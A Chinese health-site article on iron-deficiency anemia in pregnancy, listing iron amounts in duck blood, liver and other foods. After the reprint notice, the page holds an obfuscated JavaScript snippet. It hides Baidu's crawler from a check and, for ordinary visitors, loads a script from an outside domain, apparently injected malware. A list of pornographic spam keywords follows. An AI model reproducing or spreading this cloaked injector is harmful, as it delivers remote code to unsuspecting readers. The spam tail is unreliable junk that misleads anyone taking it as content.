當前位置:首頁 > 母嬰 > 懷孕知識 > 正文

孕婦貧血怎麼辦

2017-05-05 09:11:52  來源:360常識網(wǎng)   熱度:
導語:在懷孕的時候出現(xiàn)貧血現(xiàn)象其實比較常見,懷孕過后寶寶的月份逐漸的增大,媽媽體內(nèi)的營養(yǎng)物質(zhì)會被大量的奪取,如果在這個時候營養(yǎng)又沒有及時

在懷孕的時候出現(xiàn)貧血現(xiàn)象其實比較常見,懷孕過后寶寶的月份逐漸的增大,媽媽體內(nèi)的營養(yǎng)物質(zhì)會被大量的奪取,如果在這個時候營養(yǎng)又沒有及時跟上,那么就容易缺鐵導致貧血。這種情況不但對婦女身體本身有影響,而且對腹中寶寶的發(fā)育影響也很大。女性懷孕期間身體需要大量的鐵,如果攝入不足就容易貧血。下面來看一下孕婦缺鐵性貧血如何食療。

如果孕前貧血,一定把這種情況改善了再懷孕。因為孕前貧血,會把這種情況延續(xù)到孕產(chǎn)期。如果屬于輕度貧血,可以吃一些含鐵豐富的食物。如果貧血很嚴重,一定配合藥物治療。 含鐵最豐富的食物:動物的肝臟、血制品、瘦肉、紅肉類、紅豆、黑木耳、芝麻醬 給大家舉幾個例子,比如說你要是吃一百克的動物肝臟,會為你補充多少元素鐵。孕中期對鐵的推薦量是每天28毫克,動物的血,一百克鴨血可以給我們提供35.8毫克。

雞血可以給我們提供25毫克。豬血:8.7毫克。鴨肝每100g可以提供35.1毫克鐵。豬肝100g:12.6毫克。 動物性食物所含的鐵吸收利用度很高,不容易受外界因素的影響,吸收利用率可以達到20%甚至30%。植物來源的血吸收率很低,一般來說達不到10%,食物中的植酸、草酸、胃酸對吸收的影響都很大。 所以我們建議還是以動物來源的血食補為主。

要注意,女性在懷孕期間應該多吃含鐵的食物,要保證營養(yǎng)飲食均衡,這樣才能夠使得貧血得到改善。在懷孕期間不要挑食,多吃一些動物內(nèi)臟食物,女性懷孕3個月左右的時候葉酸就要積極補充,這樣可以避免因為葉酸缺乏二導致細胞性貧血。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
日韩精品无码免费专区午夜| 大陆精大陆国产国语精品| 久久精品国产99久久99久久久| 国产午夜精品一区二区三区极品| 国产成人精品午夜福利| 精品视频在线观看一区二区| 亚洲精品美女久久久久99| 国产精品jizzjizz| 亚洲宅男精品一区在线观看| 国产女主播精品大秀系列| 国产乱人伦app精品久久| 精品国产三级a∨在线| 亚洲精品亚洲人成人网| 波多野结衣精品一区二区三区| 国产精品亚洲自在线播放页码| 久久老子午夜精品无码怎么打| 2048亚洲精品国产| 毛片亚洲AV无码精品国产午夜| 亚洲国产精品一区二区久| 精品国产_亚洲人成在线高清| 亚洲A∨精品一区二区三区| 亚洲A∨精品一区二区三区下载| 久久精品国产亚洲AV电影| 华人在线精品免费观看| 国产高清一级毛片精品| 国产视频精品久久| 99久久综合国产精品免费 | 亚洲中文字幕久久精品无码APP | 国产精品1000夫妇激情啪发布| 69精品久久久久| 久久精品视频久久| 99精品国产高清一区二区三区| 国产精品麻豆入口| 免费精品国产自产拍在线观看| 精品国产一区在线观看| 中文字幕一区日韩精品| 国产精品亚洲自在线播放页码| 91精品91久久久久久| 久久久久久国产精品免费无码| 久久国产精品范冰啊| 久久夜色精品国产亚洲|